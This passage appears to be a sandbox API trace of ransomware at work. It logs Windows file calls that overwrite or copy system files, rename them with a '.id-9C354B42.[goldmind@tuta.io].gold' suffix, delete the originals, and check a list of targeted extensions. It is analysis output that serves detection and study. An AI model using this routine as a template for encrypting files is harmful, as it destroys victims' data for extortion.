shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0046.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.941] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0046.941] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0046.941] ReadFile (in: hFile=0x214, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.943] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0046.943] ReadFile (in: hFile=0x214, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.947] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.947] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0046.947] ReadFile (in: hFile=0x214, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.618] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0047.618] WriteFile (in: hFile=0x214, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0047.629] SetEndOfFile (hFile=0x214) returned 1 [0047.629] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f840a0 [0047.632] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0047.632] WriteFile (in: hFile=0x214, lpBuffer=0x3f840a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f840a0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.633] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0047.633] WriteFile (in: hFile=0x214, lpBuffer=0x3f840a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f840a0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.727] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0047.727] WriteFile (in: hFile=0x214, lpBuffer=0x3f840a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f840a0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.728] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f840a0 | out: hHeap=0x880000) returned 1 [0047.728] CloseHandle (hObject=0x214) returned 1 [0047.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.729] lstrlenW (lpString=".doc") returned 4 [0047.729] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0047.729] lstrlenW (lpString=".docx") returned 5 [0047.729] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0047.729] lstrlenW (lpString=".pdf") returned 4 [0047.729] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0047.729] lstrlenW (lpString=".xls") returned 4 [0047.729] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0047.729] lstrlenW (lpString=".xlsx") returned 5 [0047.729] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0047.729] lstrlenW (lpString=".ppt") returned 4 [0047.729] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0047.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.729] lstrlenW (lpString=".zip") returned 4 [0047.729] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0047.729] lstrlenW (lpString=".rar") returned 4 [0047.729] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0047.729] lstrlenW (lpString=".bz2") returned 4 [0047.729] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0047.729] lstrlenW (lpString=".7z") returned 3 [0047.729] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0047.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.729] lstrlenW (lpString=".dbf") returned 4 [0047.729] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0047.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.729] lstrlenW (lpString=".1cd") returned 4 [0047.729] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0047.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.729] lstrlenW (lpString=".jpg") returned 4 [0047.729] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0047.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.730] lstrlenW (lpString=".doc") returned 4 [0047.730] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0047.730] lstrlenW (lpString=".docx") returned 5 [0047.730] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0047.730] lstrlenW (lpString=".pdf") returned 4 [0047.730] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0047.730] lstrlenW (lpString=".xls") returned 4 [0047.730] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0047.730] lstrlenW (lpString=".xlsx") returned 5 [0047.730] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0047.730] lstrlenW (lpString=".ppt") returned 4 [0047.730] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0047.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.730] lstrlenW (lpString=".zip") returned 4 [0047.730] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0047.730] lstrlenW (lpString=".rar") returned 4 [0047.730] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0047.730] lstrlenW (lpString=".bz2") returned 4 [0047.730] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0047.730] lstrlenW (lpString=".7z") returned 3 [0047.730] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0047.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.730] lstrlenW (lpString=".dbf") returned 4 [0047.730] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0047.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.730] lstrlenW (lpString=".1cd") returned 4 [0047.730] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0047.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0047.730] lstrlenW (lpString=".jpg") returned 4 [0047.730] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0047.730] lstrcmpiW (lpString1=".FLT", lpString2=".gold") returned -1 [0047.730] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0047.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.076] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=280448) returned 1 [0048.076] CloseHandle (hObject=0x204) returned 1 [0048.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0048.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.077] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0048.077] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0048.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0048.077] GetLastError () returned 0x0 [0048.077] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x44780, lpOverlapped=0x0) returned 1 [0048.087] WriteFile (in: hFile=0x170, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x44790, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x44790, lpOverlapped=0x0) returned 1 [0048.091] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0048.091] WriteFile (in: hFile=0x170, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.091] SetEndOfFile (hFile=0x170) returned 1 [0048.091] CloseHandle (hObject=0x170) returned 1 [0048.091] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0048.091] SetEndOfFile (hFile=0x204) returned 1 [0048.093] CloseHandle (hObject=0x204) returned 1 [0048.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.094] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 1 [0048.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.094] lstrlenW (lpString=".doc") returned 4 [0048.094] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0048.094] lstrlenW (lpString=".docx") returned 5 [0048.094] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0048.094] lstrlenW (lpString=".pdf") returned 4 [0048.094] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0048.094] lstrlenW (lpString=".xls") returned 4 [0048.094] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0048.094] lstrlenW (lpString=".xlsx") returned 5 [0048.094] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0048.094] lstrlenW (lpString=".ppt") returned 4 [0048.094] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0048.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.094] lstrlenW (lpString=".zip") returned 4 [0048.094] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0048.094] lstrlenW (lpString=".rar") returned 4 [0048.094] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0048.094] lstrlenW (lpString=".bz2") returned 4 [0048.094] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0048.094] lstrlenW (lpString=".7z") returned 3 [0048.094] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0048.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.094] lstrlenW (lpString=".dbf") returned 4 [0048.094] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0048.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.094] lstrlenW (lpString=".1cd") returned 4 [0048.094] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0048.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.094] lstrlenW (lpString=".jpg") returned 4 [0048.094] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0048.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.095] lstrlenW (lpString=".doc") returned 4 [0048.095] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0048.095] lstrlenW (lpString=".docx") returned 5 [0048.095] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0048.095] lstrlenW (lpString=".pdf") returned 4 [0048.095] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0048.095] lstrlenW (lpString=".xls") returned 4 [0048.095] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0048.095] lstrlenW (lpString=".xlsx") returned 5 [0048.095] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0048.095] lstrlenW (lpString=".ppt") returned 4 [0048.095] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0048.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.095] lstrlenW (lpString=".zip") returned 4 [0048.095] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0048.095] lstrlenW (lpString=".rar") returned 4 [0048.095] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0048.095] lstrlenW (lpString=".bz2") returned 4 [0048.095] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0048.095] lstrlenW (lpString=".7z") returned 3 [0048.095] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0048.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.095] lstrlenW (lpString=".dbf") returned 4 [0048.095] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0048.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.095] lstrlenW (lpString=".1cd") returned 4 [0048.095] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0048.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0048.095] lstrlenW (lpString=".jpg") returned 4 [0048.095] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0048.095] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0048.095] lstrlenW (lpString="msitss55.dll") returned 12 [0048.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.528] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=430080) returned 1 [0049.528] CloseHandle (hObject=0x200) returned 1 [0049.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0049.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.529] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0049.529] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0049.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.529] GetLastError () returned 0x0 [0049.529] ReadFile (in: hFile=0x200, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x69000, lpOverlapped=0x0) returned 1 [0049.537] WriteFile (in: hFile=0x1a0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x69010, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x69010, lpOverlapped=0x0) returned 1 [0049.543] ReadFile (in: hFile=0x200, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0049.543] WriteFile (in: hFile=0x1a0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.543] SetEndOfFile (hFile=0x1a0) returned 1 [0049.543] CloseHandle (hObject=0x1a0) returned 1 [0049.543] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0049.543] SetEndOfFile (hFile=0x200) returned 1 [0049.547] CloseHandle (hObject=0x200) returned 1 [0049.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.547] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 1 [0049.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.548] lstrlenW (lpString=".doc") returned 4 [0049.548] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.548] lstrlenW (lpString=".docx") returned 5 [0049.548] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0049.548] lstrlenW (lpString=".pdf") returned 4 [0049.548] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.548] lstrlenW (lpString=".xls") returned 4 [0049.548] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.548] lstrlenW (lpString=".xlsx") returned 5 [0049.548] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0049.548] lstrlenW (lpString=".ppt") returned 4 [0049.548] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.548] lstrlenW (lpString=".zip") returned 4 [0049.548] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.548] lstrlenW (lpString=".rar") returned 4 [0049.548] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.548] lstrlenW (lpString=".bz2") returned 4 [0049.548] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.548] lstrlenW (lpString=".7z") returned 3 [0049.548] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.548] lstrlenW (lpString=".dbf") returned 4 [0049.548] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.548] lstrlenW (lpString=".1cd") returned 4 [0049.548] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.548] lstrlenW (lpString=".jpg") returned 4 [0049.548] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.548] lstrlenW (lpString=".doc") returned 4 [0049.548] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.548] lstrlenW (lpString=".docx") returned 5 [0049.549] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0049.549] lstrlenW (lpString=".pdf") returned 4 [0049.549] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.549] lstrlenW (lpString=".xls") returned 4 [0049.549] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.549] lstrlenW (lpString=".xlsx") returned 5 [0049.549] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0049.549] lstrlenW (lpString=".ppt") returned 4 [0049.549] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.549] lstrlenW (lpString=".zip") returned 4 [0049.549] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.549] lstrlenW (lpString=".rar") returned 4 [0049.549] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.549] lstrlenW (lpString=".bz2") returned 4 [0049.549] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.549] lstrlenW (lpString=".7z") returned 3 [0049.549] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.549] lstrlenW (lpString=".dbf") returned 4 [0049.549] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.549] lstrlenW (lpString=".1cd") returned 4 [0049.549] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0049.549] lstrlenW (lpString=".jpg") returned 4 [0049.549] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.549] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0049.549] lstrlenW (lpString="rtscom.dll.mui") returned 14 [0049.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.680] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2560) returned 1 [0049.680] CloseHandle (hObject=0x1e4) returned 1 [0049.680] GetFileAttributesW 